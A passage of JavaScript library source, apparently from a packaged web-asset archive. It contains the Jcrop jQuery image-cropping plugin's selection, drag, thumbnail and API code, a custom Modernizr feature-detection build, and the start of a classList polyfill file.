      // center: function(instant){{{
      center: function(instant){
        var b = this.get(), m = this.core;
        var elw = m.container.width(), elh = m.container.height();
        var box = [ (elw-b.w)/2, (elh-b.h)/2, b.w, b.h ];
        return this[instant?'setSelect':'animateTo'](box);
      },
      // }}}
      //createElement: function(type,ord){{{
      createElement: function(type,ord){
        return $('<div />').addClass(type+' ord-'+ord).data('ord',ord);
      },
      //}}}
      //moveTo: function(x,y){{{
      moveTo: function(x,y){
        this.element.css({top: y+'px', left: x+'px'});
      },
      //}}}
      // blur: function(){{{
      blur: function(){
        this.element.blur();
        return this;
      },
      // }}}
      // focus: function(){{{
      focus: function(){
        this.core.setSelection(this);
        this.frame.focus();
        return this;
      },
      // }}}
      //resize: function(w,h){{{
      resize: function(w,h){
        this.element.css({width: w+'px', height: h+'px'});
      },
      //}}}
      //get: function(){{{
      get: function(){
        var b = this.element,
          o = b.position(),
          w = b.width(),
          h = b.height(),
          rv = { x: o.left, y: o.top };

        rv.x2 = rv.x + w;
        rv.y2 = rv.y + h;
        rv.w = w;
        rv.h = h;

        return rv;
      },
      //}}}
      //insertElements: function(){{{
      insertElements: function(){
        var t = this, i,
          m = t.core,
          fr = t.element,
          o = t.core.opt,
          b = o.borders,
          h = o.handles,
          d = o.dragbars;

        for(i=0; i<d.length; i++)
          fr.append(t.createElement(o.css_dragbars,d[i]));

        for(i=0; i<h.length; i++)
          fr.append(t.createElement(o.css_handles,h[i]));

        for(i=0; i<b.length; i++)
          fr.append(t.createElement(o.css_borders,b[i]));
      }
      //}}}
    }
  });
  Jcrop.registerComponent('Selection',Selection);


  /**
   * StageDrag
   * Facilitates dragging
   */
  // var StageDrag = function(manager,opt){{{
  var StageDrag = function(manager,opt){
    $.extend(this,StageDrag.defaults,opt || {});
    this.manager = manager;
    this.core = manager.core;
  };
  // }}}
  // StageDrag.defaults = {{{
  StageDrag.defaults = {
    offset: [ -8, -8 ],
    active: true,
    minsize: [ 20, 20 ]
  };
  // }}}

  $.extend(StageDrag.prototype,{
    // start: function(e){{{
    start: function(e){
      var c = this.core;

      // Do nothing if allowSelect is off
      if (!c.opt.allowSelect) return;

      // Also do nothing if we can't draw any more selections
      if (c.opt.multi && c.opt.multiMax && (c.ui.multi.length >= c.opt.multiMax)) return false;

      // calculate a few variables for this drag operation
      var o = $(e.currentTarget).offset();
      var origx = e.pageX - o.left + this.offset[0];
      var origy = e.pageY - o.top + this.offset[1];
      var m = c.ui.multi;

      // Determine newly dragged crop behavior if multi disabled
      if (!c.opt.multi) {
        // For multiCleaanup true, remove all existing selections
        if (c.opt.multiCleanup){
          for(var i=0;i<m.length;i++) m[i].remove();
          c.ui.multi = [];
        }
        // If not, only remove the currently active selection
        else {
          c.removeSelection(c.ui.selection);
        }
      }

      c.container.addClass('jcrop-dragging');

      // Create the new selection
      var sel = c.newSelection()
        // and position it
        .updateRaw(Jcrop.wrapFromXywh([origx,origy,1,1]));

      sel.element.trigger('cropstart',[sel,this.core.unscale(sel.get())]);
      
      return sel.startDrag(e,'se');
    },
    // }}}
    // end: function(x,y){{{
    end: function(x,y){
      this.drag(x,y);
      var b = this.sel.get();

      this.core.container.removeClass('jcrop-dragging');

      if ((b.w < this.minsize[0]) || (b.h < this.minsize[1]))
        this.core.requestDelete();

        else this.sel.focus();
    }
    // }}}
  });
  Jcrop.registerComponent('StageDrag',StageDrag);


  /**
   * StageManager
   * Provides basic stage-specific functionality
   */
  // var StageManager = function(core){{{
  var StageManager = function(core){
    this.core = core;
    this.ui = core.ui;
    this.init();
  };
  // }}}

  $.extend(StageManager.prototype,{
    // init: function(){{{
    init: function(){
      this.setupEvents();
      this.dragger = new StageDrag(this);
    },
    // }}}
    // tellConfigUpdate: function(options){{{
    tellConfigUpdate: function(options){
      for(var i=0,m=this.ui.multi,l=m.length;i<l;i++)
        if (m[i].setOptions && (m[i].linked || (this.core.opt.linkCurrent && m[i] == this.ui.selection)))
          m[i].setOptions(options);
    },
    // }}}
    // startDragHandler: function(){{{
    startDragHandler: function(){
      var t = this;
      return function(e){
        if (!e.button || t.core.opt.is_ie_lt9) return t.dragger.start(e);
      };
    },
    // }}}
    // removeEvents: function(){{{
    removeEvents: function(){
      this.core.event.off('.jcrop-stage');
      this.core.container.off('.jcrop-stage');
    },
    // }}}
    // shimLegacyHandlers: function(options){{{
    // This method uses the legacyHandlers configuration object to
    // gracefully wrap old-style Jcrop events with new ones
    shimLegacyHandlers: function(options){
      var _x = {}, core = this.core, tmp;

      $.each(core.opt.legacyHandlers,function(k,i){
        if (k in options) {
          tmp = options[k];
          core.container.off('.jcrop-'+k)
            .on(i+'.jcrop.jcrop-'+k,function(e,s,c){
              tmp.call(core,c);
            });
          delete options[k];
        }
      });
    },
    // }}}
    // setupEvents: function(){{{
    setupEvents: function(){
      var t = this, c = t.core;

      c.event.on('configupdate.jcrop-stage',function(e){
        t.shimLegacyHandlers(c.opt);
        t.tellConfigUpdate(c.opt)
        c.container.trigger('cropconfig',[c,c.opt]);
      });

      this.core.container
        .on('mousedown.jcrop.jcrop-stage',this.startDragHandler());
    }
    // }}}
  });
  Jcrop.registerComponent('StageManager',StageManager);


  var Thumbnailer = function(){
  };

  $.extend(Thumbnailer,{
    defaults: {
      // Set to a specific Selection object
      // If this value is set, the preview will only track that Selection
      selection: null,

      fading: true,
      fadeDelay: 1000,
      fadeDuration: 1000,
      autoHide: false,
      width: 80,
      height: 80,
      _hiding: null
    },

    prototype: {
      recopyCanvas: function(){
        var s = this.core.ui.stage, cxt = s.context;
        this.context.putImageData(cxt.getImageData(0,0,s.canvas.width,s.canvas.height),0,0);
      },
      init: function(core,options){
        var t = this;
        this.core = core;
        $.extend(this,Thumbnailer.defaults,options);
        t.initEvents();
        t.refresh();
        t.insertElements();
        if (t.selection) {
          t.renderSelection(t.selection);
          t.selectionTarget = t.selection.element[0];
        } else if (t.core.ui.selection) {
          t.renderSelection(t.core.ui.selection);
        }

        if (t.core.ui.stage.canvas) {
          t.context = t.preview[0].getContext('2d');
          t.core.container.on('cropredraw',function(e){
            t.recopyCanvas();
            t.refresh();
          });
        }
      },
      updateImage: function(imgel){
        this.preview.remove();
        this.preview = $($.Jcrop.imageClone(imgel));
        this.element.append(this.preview);
        this.refresh();
        return this;
      },
      insertElements: function(){
        this.preview = $($.Jcrop.imageClone(this.core.ui.stage.imgsrc));

        this.element = $('<div />').addClass('jcrop-thumb')
          .width(this.width).height(this.height)
          .append(this.preview)
          .appendTo(this.core.container);
      },
      resize: function(w,h){
        this.width = w;
        this.height = h;
        this.element.width(w).height(h);
        this.renderCoords(this.last);
      },
      refresh: function(){
        this.cw = (this.core.opt.xscale * this.core.container.width());
        this.ch = (this.core.opt.yscale * this.core.container.height());
        if (this.last) {
          this.renderCoords(this.last);
        }
      },
      renderCoords: function(c){
        var rx = this.width / c.w;
        var ry = this.height / c.h;

        this.preview.css({
          width: Math.round(rx * this.cw) + 'px',
          height: Math.round(ry * this.ch) + 'px',
          marginLeft: '-' + Math.round(rx * c.x) + 'px',
          marginTop: '-' + Math.round(ry * c.y) + 'px'
        });

        this.last = c;
        return this;
      },
      renderSelection: function(s){
        return this.renderCoords(s.core.unscale(s.get()));
      },
      selectionStart: function(s){
        this.renderSelection(s);
      },
      show: function(){
        if (this._hiding) clearTimeout(this._hiding);

        if (!this.fading) this.element.stop().css({ opacity: 1 });
        else this.element.stop().animate({ opacity: 1 },{ duration: 80, queue: false });
      },
      hide: function(){
        var t = this;
        if (!t.fading) t.element.hide();
        else t._hiding = setTimeout(function(){
          t._hiding = null;
          t.element.stop().animate({ opacity: 0 },{ duration: t.fadeDuration, queue: false });
        },t.fadeDelay);
      },
      initEvents: function(){
        var t = this;
        t.core.container.on('croprotstart croprotend cropimage cropstart cropmove cropend',function(e,s,c){
          if (t.selectionTarget && (t.selectionTarget !== e.target)) return false;

          switch(e.type){

            case 'cropimage':
              t.updateImage(c);
              break;

            case 'cropstart':
              t.selectionStart(s);
            case 'croprotstart':
              t.show();
              break;

            case 'cropend':
              t.renderCoords(c);
            case 'croprotend':
              if (t.autoHide) t.hide();
              break;

            case 'cropmove':
              t.renderCoords(c);
              break;
          }
        });
      }
    }
  });
  Jcrop.registerComponent('Thumbnailer',Thumbnailer);


  /**
   * DialDrag component
   * This is a little hacky, it was adapted from some previous/old code
   * Plan to update this API in the future
   */
  var DialDrag = function() { };

  DialDrag.prototype = {

    init: function(core,actuator,callback){
      var that = this;

      if (!actuator) actuator = core.container;
      this.$btn = $(actuator);
      this.$targ = $(actuator);
      this.core = core;

      this.$btn
        .addClass('dialdrag')
        .on('mousedown.dialdrag',this.mousedown())
        .data('dialdrag',this);

      if (!$.isFunction(callback)) callback = function(){ };
      this.callback = callback;
      this.ondone = callback;
    },

    remove: function(){
      this.$btn
        .removeClass('dialdrag')
        .off('.dialdrag')
        .data('dialdrag',null);
      return this;
    },

    setTarget: function(obj){
      this.$targ = $(obj);
      return this;
    },

    getOffset: function(){
      var targ = this.$targ, pos = targ.offset();
      return [
        pos.left + (targ.width()/2),
        pos.top + (targ.height()/2)
      ];
    },

    relMouse: function(e){
      var x = e.pageX - this.offset[0],
          y = e.pageY - this.offset[1],
          ang = Math.atan2(y,x) * (180 / Math.PI),
          vec = Math.sqrt(Math.pow(x,2)+Math.pow(y,2));
      return [ x, y, ang, vec ];
    },

    mousedown: function(){
      var that = this;

      function mouseUp(e){
        $(window).off('.dialdrag');
        that.ondone.call(that,that.relMouse(e));
        that.core.container.trigger('croprotend');
      }

      function mouseMove(e){
        that.callback.call(that,that.relMouse(e));
      }

      return function(e) {
        that.offset = that.getOffset();
        var rel = that.relMouse(e);
        that.angleOffset = -that.core.ui.stage.angle+rel[2];
        that.distOffset = rel[3];
        that.dragOffset = [rel[0],rel[1]];
        that.core.container.trigger('croprotstart');

        $(window)
          .on('mousemove.dialdrag',mouseMove)
          .on('mouseup.dialdrag',mouseUp);

        that.callback.call(that,that.relMouse(e));

        return false;
      };
    }
    
  };
  Jcrop.registerComponent('DialDrag',DialDrag);


    /////////////////////////////////
    // DEFAULT SETTINGS

    Jcrop.defaults = {

      // Selection Behavior
      edge: { n: 0, s: 0, e: 0, w: 0 },
      setSelect: null,
      linked: true,
      linkCurrent: true,
      canDelete: true,
      canSelect: true,
      canDrag: true,
      canResize: true,

      // Component constructors
      eventManagerComponent:  Jcrop.component.EventManager,
      keyboardComponent:      Jcrop.component.Keyboard,
      dragstateComponent:     Jcrop.component.DragState,
      stagemanagerComponent:  Jcrop.component.StageManager,
      animatorComponent:      Jcrop.component.Animator,
      selectionComponent:     Jcrop.component.Selection,

      // This is a function that is called, which returns a stage object
      stageConstructor:       Jcrop.stageConstructor,

      // Stage Behavior
      allowSelect: true,
      multi: false,
      multiMax: false,
      multiCleanup: true,
      animation: true,
      animEasing: 'swing',
      animDuration: 400,
      fading: true,
      fadeDuration: 300,
      fadeEasing: 'swing',
      bgColor: 'black',
      bgOpacity: .5,

      // Startup options
      applyFilters: [ 'constrain', 'extent', 'backoff', 'ratio', 'shader', 'round' ],
      borders:  [ 'e', 'w', 's', 'n' ],
      handles:  [ 'n', 's', 'e', 'w', 'sw', 'ne', 'nw', 'se' ],
      dragbars: [ 'n', 'e', 'w', 's' ],

      dragEventTarget: window,

      xscale: 1,
      yscale: 1,

      boxWidth: null,
      boxHeight: null,

      // CSS Classes
      // @todo: These need to be moved to top-level object keys
      // for better customization. Currently if you try to extend one
      // via an options object to Jcrop, it will wipe out all
      // the others you don't specify. Be careful for now!
      css_nodrag: 'jcrop-nodrag',
      css_drag: 'jcrop-drag',
      css_container: 'jcrop-active',
      css_shades: 'jcrop-shades',
      css_selection: 'jcrop-selection',
      css_borders: 'jcrop-border',
      css_handles: 'jcrop-handle jcrop-drag',
      css_button: 'jcrop-box jcrop-drag',
      css_noresize: 'jcrop-noresize',
      css_dragbars: 'jcrop-dragbar jcrop-drag',

      legacyHandlers: {
        onChange: 'cropmove',
        onSelect: 'cropend'
      }

    };


  // Jcrop API methods
  $.extend(Jcrop.prototype,{
    //init: function(){{{
    init: function(){
      this.event = new this.opt.eventManagerComponent(this);
      this.ui.keyboard = new this.opt.keyboardComponent(this);
      this.ui.manager = new this.opt.stagemanagerComponent(this);
      this.applyFilters();

      if ($.Jcrop.supportsTouch)
        new $.Jcrop.component.Touch(this);

      this.initEvents();
    },
    //}}}
    // applySizeConstraints: function(){{{
    applySizeConstraints: function(){
      var o = this.opt,
          img = this.opt.imgsrc;

      if (img){

        var iw = img.naturalWidth || img.width,
            ih = img.naturalHeight || img.height,
            bw = o.boxWidth || iw,
            bh = o.boxHeight || ih;

        if (img && ((iw > bw) || (ih > bh))){
          var bx = Jcrop.getLargestBox(iw/ih,bw,bh);
          $(img).width(bx[0]).height(bx[1]);
          this.resizeContainer(bx[0],bx[1]);
          this.opt.xscale = iw / bx[0];
          this.opt.yscale = ih / bx[1];
        }
          
      }

      if (this.opt.trueSize){
        var dw = this.opt.trueSize[0];
        var dh = this.opt.trueSize[1];
        var cs = this.getContainerSize();
        this.opt.xscale = dw / cs[0];
        this.opt.yscale = dh / cs[1];
      }
    },
    // }}}
    initComponent: function(name){
      if (Jcrop.component[name]) {
        var args = Array.prototype.slice.call(arguments);
        var obj = new Jcrop.component[name];
        args.shift();
        args.unshift(this);
        obj.init.apply(obj,args);
        return obj;
      }
    },
    // setOptions: function(opt){{{
    setOptions: function(opt,proptype){

      if (!$.isPlainObject(opt)) opt = {};

      $.extend(this.opt,opt);

      // Handle a setSelect value
      if (this.opt.setSelect) {

        // If there is no current selection
        // passing setSelect will create one
        if (!this.ui.multi.length)
          this.newSelection();

        // Use these values to update the current selection
        this.setSelect(this.opt.setSelect);

        // Set to null so it doesn't get called again
        this.opt.setSelect = null;
      }

      this.event.trigger('configupdate');
      return this;
    },
    // }}}
    //destroy: function(){{{
    destroy: function(){
      if (this.opt.imgsrc) {
        this.container.before(this.opt.imgsrc);
        this.container.remove();
        $(this.opt.imgsrc).removeData('Jcrop').show();
      } else {
        // @todo: more elegant destroy() process for non-image containers
        this.container.remove();
      }
    },
    // }}}
    // applyFilters: function(){{{
    applyFilters: function(){
      var obj;
      for(var i=0,f=this.opt.applyFilters,l=f.length; i<l; i++){
        if ($.Jcrop.filter[f[i]])
          obj = new $.Jcrop.filter[f[i]];
          obj.core = this;
          if (obj.init) obj.init();
          this.filter[f[i]] = obj;
      }
    },
    // }}}
    // getDefaultFilters: function(){{{
    getDefaultFilters: function(){
      var rv = [];

      for(var i=0,f=this.opt.applyFilters,l=f.length; i<l; i++)
        if(this.filter.hasOwnProperty(f[i]))
          rv.push(this.filter[f[i]]);

      rv.sort(function(x,y){ return x.priority - y.priority; });
      return rv;
    },
    // }}}
    // setSelection: function(sel){{{
    setSelection: function(sel){
      var m = this.ui.multi;
      var n = [];
      for(var i=0;i<m.length;i++) {
        if (m[i] !== sel) n.push(m[i]);
        m[i].toBack();
      }
      n.unshift(sel);
      this.ui.multi = n;
      this.ui.selection = sel;
      sel.toFront();
      return sel;
    },
    // }}}
    // getSelection: function(raw){{{
    getSelection: function(raw){
      var b = this.ui.selection.get();
      return b;
    },
    // }}}
    // newSelection: function(){{{
    newSelection: function(sel){
      if (!sel)
        sel = new this.opt.selectionComponent();

      sel.init(this);
      this.setSelection(sel);

      return sel;
    },
    // }}}
    // hasSelection: function(sel){{{
    hasSelection: function(sel){
      for(var i=0;i<this.ui.multi;i++)
        if (sel === this.ui.multi[i]) return true;
    },
    // }}}
    // removeSelection: function(sel){{{
    removeSelection: function(sel){
      var i, n = [], m = this.ui.multi;
      for(var i=0;i<m.length;i++){
        if (sel !== m[i])
          n.push(m[i]);
        else m[i].remove();
      }
      return this.ui.multi = n;
    },
    // }}}
    //addFilter: function(filter){{{
    addFilter: function(filter){
      for(var i=0,m=this.ui.multi,l=m.length; i<l; i++)
        m[i].addFilter(filter);

      return this;
    },
    //}}}
    // removeFiltersByTag: function(tag){{{
    removeFilter: function(filter){
      for(var i=0,m=this.ui.multi,l=m.length; i<l; i++)
        m[i].removeFilter(filter);

      return this;
    },
    // }}}
    // blur: function(){{{
    blur: function(){
      this.ui.selection.blur();
      return this;
    },
    // }}}
    // focus: function(){{{
    focus: function(){
      this.ui.selection.focus();
      return this;
    },
    // }}}
    //initEvents: function(){{{
    initEvents: function(){
      var t = this;
      t.container.on('selectstart',function(e){ return false; })
        .on('mousedown','.'+t.opt.css_drag,t.startDrag());
    },
    //}}}
    // maxSelect: function(){{{
    maxSelect: function(){
      this.setSelect([0,0,this.elw,this.elh]);
    },
    // }}}
    // nudge: function(x,y){{{
    nudge: function(x,y){
      var s = this.ui.selection, b = s.get();

      b.x += x;
      b.x2 += x;
      b.y += y;
      b.y2 += y;

      if (b.x < 0) { b.x2 = b.w; b.x = 0; }
        else if (b.x2 > this.elw) { b.x2 = this.elw; b.x = b.x2 - b.w; }

      if (b.y < 0) { b.y2 = b.h; b.y = 0; }
        else if (b.y2 > this.elh) { b.y2 = this.elh; b.y = b.y2 - b.h; }
      
      s.element.trigger('cropstart',[s,this.unscale(b)]);
      s.updateRaw(b,'move');
      s.element.trigger('cropend',[s,this.unscale(b)]);
    },
    // }}}
    // refresh: function(){{{
    refresh: function(){
      for(var i=0,s=this.ui.multi,l=s.length;i<l;i++)
        s[i].refresh();
    },
    // }}}
    // blurAll: function(){{{
    blurAll: function(){
      var m = this.ui.multi;
      for(var i=0;i<m.length;i++) {
        if (m[i] !== sel) n.push(m[i]);
        m[i].toBack();
      }
    },
    // }}}
    // scale: function(b){{{
    scale: function(b){
      var xs = this.opt.xscale,
          ys = this.opt.yscale;

      return {
        x: b.x / xs,
        y: b.y / ys,
        x2: b.x2 / xs,
        y2: b.y2 / ys,
        w: b.w / xs,
        h: b.h / ys
      };
    },
    // }}}
    // unscale: function(b){{{
    unscale: function(b){
      var xs = this.opt.xscale,
          ys = this.opt.yscale;

      return {
        x: b.x * xs,
        y: b.y * ys,
        x2: b.x2 * xs,
        y2: b.y2 * ys,
        w: b.w * xs,
        h: b.h * ys
      };
    },
    // }}}
    // requestDelete: function(){{{
    requestDelete: function(){
      if ((this.ui.multi.length > 1) && (this.ui.selection.canDelete))
        return this.deleteSelection();
    },
    // }}}
    // deleteSelection: function(){{{
    deleteSelection: function(){
      if (this.ui.selection) {
        this.removeSelection(this.ui.selection);
        if (this.ui.multi.length) this.ui.multi[0].focus();
        this.ui.selection.refresh();
      }
    },
    // }}}
    // animateTo: function(box){{{
    animateTo: function(box){
      if (this.ui.selection)
        this.ui.selection.animateTo(box);
      return this;
    },
    // }}}
    // setselect: function(box){{{
    setSelect: function(box){
      if (this.ui.selection)
        this.ui.selection.update(Jcrop.wrapFromXywh(box));
      return this;
    },
    // }}}
    //startDrag: function(){{{
    startDrag: function(){
      var t = this;
      return function(e){
        var $targ = $(e.target);
        var selection = $targ.closest('.'+t.opt.css_selection).data('selection');
        var ord = $targ.data('ord');
        t.container.trigger('cropstart',[selection,t.unscale(selection.get())]);
        selection.startDrag(e,ord);
        return false;
      };
    },
    //}}}
    // getContainerSize: function(){{{
    getContainerSize: function(){
      return [ this.container.width(), this.container.height() ];
    },
    // }}}
    // resizeContainer: function(w,h){{{
    resizeContainer: function(w,h){
      this.container.width(w).height(h);
      this.refresh();
    },
    // }}}
    // setImage: function(src,cb){{{
    setImage: function(src,cb){
      var t = this, targ = t.opt.imgsrc;

      if (!targ) return false;

      new $.Jcrop.component.ImageLoader(src,null,function(w,h){
        t.resizeContainer(w,h);

        targ.src = src;
        $(targ).width(w).height(h);
        t.applySizeConstraints();
        t.refresh();
        t.container.trigger('cropimage',[t,targ]);

        if (typeof cb == 'function')
          cb.call(t,w,h);
      });
    },
    // }}}
    // update: function(b){{{
    update: function(b){
      if (this.ui.selection)
        this.ui.selection.update(b);
    }
    // }}}
  });

  // Jcrop jQuery plugin function
  $.fn.Jcrop = function(options,callback){
    options = options || {};

    var first = this.eq(0).data('Jcrop');
    var args = Array.prototype.slice.call(arguments);

    // Return API if requested
    if (options == 'api') { return first; }

    // Allow calling API methods (with arguments)
    else if (first && (typeof options == 'string')) {

      // Call method if it exists
      if (first[options]) {
        args.shift();
        first[options].apply(first,args);
        return first;
      }

      // Unknown input/method does not exist
      return false;
    }

    // Otherwise, loop over selected elements
    this.each(function(){
      var t = this, $t = $(this);
      var exists = $t.data('Jcrop');
      var obj;

      // If Jcrop already exists on this element only setOptions()
      if (exists)
        exists.setOptions(options);

      else {

        if (!options.stageConstructor)
          options.stageConstructor = $.Jcrop.stageConstructor;

        options.stageConstructor(this,options,function(stage,options){
          var selection = options.setSelect;
          if (selection) delete(options.setSelect);

          var obj = $.Jcrop.attach(stage.element,options);

          if (typeof stage.attach == 'function')
            stage.attach(obj);

          $t.data('Jcrop',obj);

          if (selection) {
            obj.newSelection();
            obj.setSelect(selection);
          }

          if (typeof callback == 'function')
            callback.call(obj);
        });
      }

      return this;
    });
  };

/* Modernizr 2.7.1 (Custom Build) | MIT & BSD
 * Build: http://modernizr.com/download/#-csstransforms-canvas-canvastext-draganddrop-inlinesvg-svg-svgclippaths-touch-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-url_data_uri
 */
;

var Modernizr = (function( window, document, undefined ) {

    var version = '2.7.1',

    Modernizr = {},


    docElement = document.documentElement,

    mod = 'modernizr',
    modElem = document.createElement(mod),
    mStyle = modElem.style,

    inputElem  ,


    toString = {}.toString,

    prefixes = ' -webkit- -moz- -o- -ms- '.split(' '),



    omPrefixes = 'Webkit Moz O ms',

    cssomPrefixes = omPrefixes.split(' '),

    domPrefixes = omPrefixes.toLowerCase().split(' '),

    ns = {'svg': 'http://www.w3.org/2000/svg'},

    tests = {},
    inputs = {},
    attrs = {},

    classes = [],

    slice = classes.slice,

    featureName, 


    injectElementWithStyles = function( rule, callback, nodes, testnames ) {

      var style, ret, node, docOverflow,
          div = document.createElement('div'),
                body = document.body,
                fakeBody = body || document.createElement('body');

      if ( parseInt(nodes, 10) ) {
                      while ( nodes-- ) {
              node = document.createElement('div');
              node.id = testnames ? testnames[nodes] : mod + (nodes + 1);
              div.appendChild(node);
          }
      }

                style = ['&#173;','<style id="s', mod, '">', rule, '</style>'].join('');
      div.id = mod;
          (body ? div : fakeBody).innerHTML += style;
      fakeBody.appendChild(div);
      if ( !body ) {
                fakeBody.style.background = '';
                fakeBody.style.overflow = 'hidden';
          docOverflow = docElement.style.overflow;
          docElement.style.overflow = 'hidden';
          docElement.appendChild(fakeBody);
      }

      ret = callback(div, rule);
        if ( !body ) {
          fakeBody.parentNode.removeChild(fakeBody);
          docElement.style.overflow = docOverflow;
      } else {
          div.parentNode.removeChild(div);
      }

      return !!ret;

    },



    isEventSupported = (function() {

      var TAGNAMES = {
        'select': 'input', 'change': 'input',
        'submit': 'form', 'reset': 'form',
        'error': 'img', 'load': 'img', 'abort': 'img'
      };

      function isEventSupported( eventName, element ) {

        element = element || document.createElement(TAGNAMES[eventName] || 'div');
        eventName = 'on' + eventName;

            var isSupported = eventName in element;

        if ( !isSupported ) {
                if ( !element.setAttribute ) {
            element = document.createElement('div');
          }
          if ( element.setAttribute && element.removeAttribute ) {
            element.setAttribute(eventName, '');
            isSupported = is(element[eventName], 'function');

                    if ( !is(element[eventName], 'undefined') ) {
              element[eventName] = undefined;
            }
            element.removeAttribute(eventName);
          }
        }

        element = null;
        return isSupported;
      }
      return isEventSupported;
    })(),


    _hasOwnProperty = ({}).hasOwnProperty, hasOwnProp;

    if ( !is(_hasOwnProperty, 'undefined') && !is(_hasOwnProperty.call, 'undefined') ) {
      hasOwnProp = function (object, property) {
        return _hasOwnProperty.call(object, property);
      };
    }
    else {
      hasOwnProp = function (object, property) { 
        return ((property in object) && is(object.constructor.prototype[property], 'undefined'));
      };
    }


    if (!Function.prototype.bind) {
      Function.prototype.bind = function bind(that) {

        var target = this;

        if (typeof target != "function") {
            throw new TypeError();
        }

        var args = slice.call(arguments, 1),
            bound = function () {

            if (this instanceof bound) {

              var F = function(){};
              F.prototype = target.prototype;
              var self = new F();

              var result = target.apply(
                  self,
                  args.concat(slice.call(arguments))
              );
              if (Object(result) === result) {
                  return result;
              }
              return self;

            } else {

              return target.apply(
                  that,
                  args.concat(slice.call(arguments))
              );

            }

        };

        return bound;
      };
    }

    function setCss( str ) {
        mStyle.cssText = str;
    }

    function setCssAll( str1, str2 ) {
        return setCss(prefixes.join(str1 + ';') + ( str2 || '' ));
    }

    function is( obj, type ) {
        return typeof obj === type;
    }

    function contains( str, substr ) {
        return !!~('' + str).indexOf(substr);
    }

    function testProps( props, prefixed ) {
        for ( var i in props ) {
            var prop = props[i];
            if ( !contains(prop, "-") && mStyle[prop] !== undefined ) {
                return prefixed == 'pfx' ? prop : true;
            }
        }
        return false;
    }

    function testDOMProps( props, obj, elem ) {
        for ( var i in props ) {
            var item = obj[props[i]];
            if ( item !== undefined) {

                            if (elem === false) return props[i];

                            if (is(item, 'function')){
                                return item.bind(elem || obj);
                }

                            return item;
            }
        }
        return false;
    }

    function testPropsAll( prop, prefixed, elem ) {

        var ucProp  = prop.charAt(0).toUpperCase() + prop.slice(1),
            props   = (prop + ' ' + cssomPrefixes.join(ucProp + ' ') + ucProp).split(' ');

            if(is(prefixed, "string") || is(prefixed, "undefined")) {
          return testProps(props, prefixed);

            } else {
          props = (prop + ' ' + (domPrefixes).join(ucProp + ' ') + ucProp).split(' ');
          return testDOMProps(props, prefixed, elem);
        }
    }



    tests['canvas'] = function() {
        var elem = document.createElement('canvas');
        return !!(elem.getContext && elem.getContext('2d'));
    };

    tests['canvastext'] = function() {
        return !!(Modernizr['canvas'] && is(document.createElement('canvas').getContext('2d').fillText, 'function'));
    };
    tests['touch'] = function() {
        var bool;

        if(('ontouchstart' in window) || window.DocumentTouch && document instanceof DocumentTouch) {
          bool = true;
        } else {
          injectElementWithStyles(['@media (',prefixes.join('touch-enabled),('),mod,')','{#modernizr{top:9px;position:absolute}}'].join(''), function( node ) {
            bool = node.offsetTop === 9;
          });
        }

        return bool;
    };

    tests['draganddrop'] = function() {
        var div = document.createElement('div');
        return ('draggable' in div) || ('ondragstart' in div && 'ondrop' in div);
    };


    tests['csstransforms'] = function() {
        return !!testPropsAll('transform');
    };


    tests['svg'] = function() {
        return !!document.createElementNS && !!document.createElementNS(ns.svg, 'svg').createSVGRect;
    };

    tests['inlinesvg'] = function() {
      var div = document.createElement('div');
      div.innerHTML = '<svg/>';
      return (div.firstChild && div.firstChild.namespaceURI) == ns.svg;
    };



    tests['svgclippaths'] = function() {
        return !!document.createElementNS && /SVGClipPath/.test(toString.call(document.createElementNS(ns.svg, 'clipPath')));
    };

    for ( var feature in tests ) {
        if ( hasOwnProp(tests, feature) ) {
                                    featureName  = feature.toLowerCase();
            Modernizr[featureName] = tests[feature]();

            classes.push((Modernizr[featureName] ? '' : 'no-') + featureName);
        }
    }



     Modernizr.addTest = function ( feature, test ) {
       if ( typeof feature == 'object' ) {
         for ( var key in feature ) {
           if ( hasOwnProp( feature, key ) ) {
             Modernizr.addTest( key, feature[ key ] );
           }
         }
       } else {

         feature = feature.toLowerCase();

         if ( Modernizr[feature] !== undefined ) {
                                              return Modernizr;
         }

         test = typeof test == 'function' ? test() : test;

         if (typeof enableClasses !== "undefined" && enableClasses) {
           docElement.className += ' ' + (test ? '' : 'no-') + feature;
         }
         Modernizr[feature] = test;

       }

       return Modernizr; 
     };


    setCss('');
    modElem = inputElem = null;


    Modernizr._version      = version;

    Modernizr._prefixes     = prefixes;
    Modernizr._domPrefixes  = domPrefixes;
    Modernizr._cssomPrefixes  = cssomPrefixes;


    Modernizr.hasEvent      = isEventSupported;

    Modernizr.testProp      = function(prop){
        return testProps([prop]);
    };

    Modernizr.testAllProps  = testPropsAll;


    Modernizr.testStyles    = injectElementWithStyles;
    return Modernizr;

})(window, window.document);
// data uri test.
// https://github.com/Modernizr/Modernizr/issues/14

// This test is asynchronous. Watch out.


// in IE7 in HTTPS this can cause a Mixed Content security popup. 
//  github.com/Modernizr/Modernizr/issues/362
// To avoid that you can create a new iframe and inject this.. perhaps..


(function(){

  var datauri = new Image();


  datauri.onerror = function() {
      Modernizr.addTest('datauri', function () { return false; });
  };  
  datauri.onload = function() {
      Modernizr.addTest('datauri', function () { return (datauri.width == 1 && datauri.height == 1); });
  };

  datauri.src = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==";

})();
;

  // Attach to jQuery object
  $.Jcrop = Jcrop;

  $.Jcrop.supportsCanvas = Modernizr.canvas;
  $.Jcrop.supportsCanvasText = Modernizr.canvastext;
  $.Jcrop.supportsDragAndDrop = Modernizr.draganddrop;
  $.Jcrop.supportsDataURI = Modernizr.datauri;
  $.Jcrop.supportsSVG = Modernizr.svg;
  $.Jcrop.supportsInlineSVG = Modernizr.inlinesvg;
  $.Jcrop.supportsSVGClipPaths = Modernizr.svgclippaths;
  $.Jcrop.supportsCSSTransforms = Modernizr.csstransforms;
  $.Jcrop.supportsTouch = Modernizr.touch;

})(jQuery);
PK!%-_*_*%js/polyfill.classlist-uncompressed.jsnu�[���/**
 * Polyfill service v3.13.0
 * For detailed credits and licence information see http://github.com/financial-times/polyfill-service.
 * 
 * Features requested: Element.prototype.classList
 * 
 * - Object.defineProperty, License: CC0 (required by "Element.prototype.classList")
 * - _DOMTokenList, License: CC0 (required by "Element.prototype.classList")
 * - Document, License: CC0 (required by "Element", "Element.prototype.classList")
 * - Element, License: CC0 (required by "Element.prototype.classList")
 * - Element.prototype.classList, License: CC0
 *
 * @build      https://cdn.polyfill.io/v2/polyfill.js?features=Element.prototype.classList&flags=always,gated
 * 
 * @copyright  Copyright (c) 2016 Financial Times
